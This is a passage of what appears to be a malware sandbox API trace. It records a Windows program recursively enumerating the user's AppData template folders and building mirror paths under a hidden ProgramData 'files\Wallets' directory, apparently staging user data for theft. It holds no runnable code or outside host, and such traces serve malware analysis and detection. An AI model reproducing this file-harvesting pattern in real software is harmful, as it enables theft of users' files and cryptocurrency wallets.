lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328990[[fn=Varying Width List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox" [0052.344] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.344] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.344] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328990[[fn=Varying Width List]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox" [0052.345] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.345] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.345] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.345] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328998[[fn=Rings]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox" [0052.345] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.345] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.345] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328998[[fn=Rings]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox" [0052.345] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 0 [0052.345] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.346] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 0 [0052.346] FindClose (in: hFindFile=0x58a540 | out: hFindFile=0x58a540) returned 1 [0052.346] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0 [0052.346] FindClose (in: hFindFile=0x58a0c0 | out: hFindFile=0x58a0c0) returned 1 [0052.346] FindNextFileW (in: hFindFile=0x589e80, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.346] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0052.346] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\" [0052.346] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="User" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0052.346] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16" [0052.346] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\" [0052.346] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="User" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User" [0052.346] lstrcmpW (lpString1="User", lpString2=".") returned 1 [0052.346] lstrcmpW (lpString1="User", lpString2="..") returned 1 [0052.346] lstrcpyW (in: lpString1=0x19c524, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0052.346] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*.*" [0052.346] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*.*", lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0x58a180 [0052.347] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0052.347] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\" [0052.347] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\." [0052.347] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User" [0052.347] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\" [0052.347] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\." [0052.347] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.347] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.347] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0052.347] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\" [0052.347] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\.." [0052.347] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User" [0052.347] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\" [0052.347] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\.." [0052.347] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.347] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.347] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.347] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0052.347] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\" [0052.347] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0052.347] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User" [0052.347] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\" [0052.347] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="Document Themes" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0052.347] lstrcmpW (lpString1="Document Themes", lpString2=".") returned 1 [0052.347] lstrcmpW (lpString1="Document Themes", lpString2="..") returned 1 [0052.347] lstrcpyW (in: lpString1=0x19bbe0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0052.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*.*" [0052.348] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*.*", lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 0x58a4c0 [0052.348] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0052.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\" [0052.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\." [0052.348] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0052.348] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\" [0052.348] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\." [0052.348] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.348] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 1 [0052.348] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0052.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\" [0052.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\.." [0052.348] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0052.348] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\" [0052.348] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\.." [0052.348] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.348] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.348] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 1 [0052.348] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0052.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\" [0052.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0052.348] lstrcpyW (in: lpString1=0x19bdec, 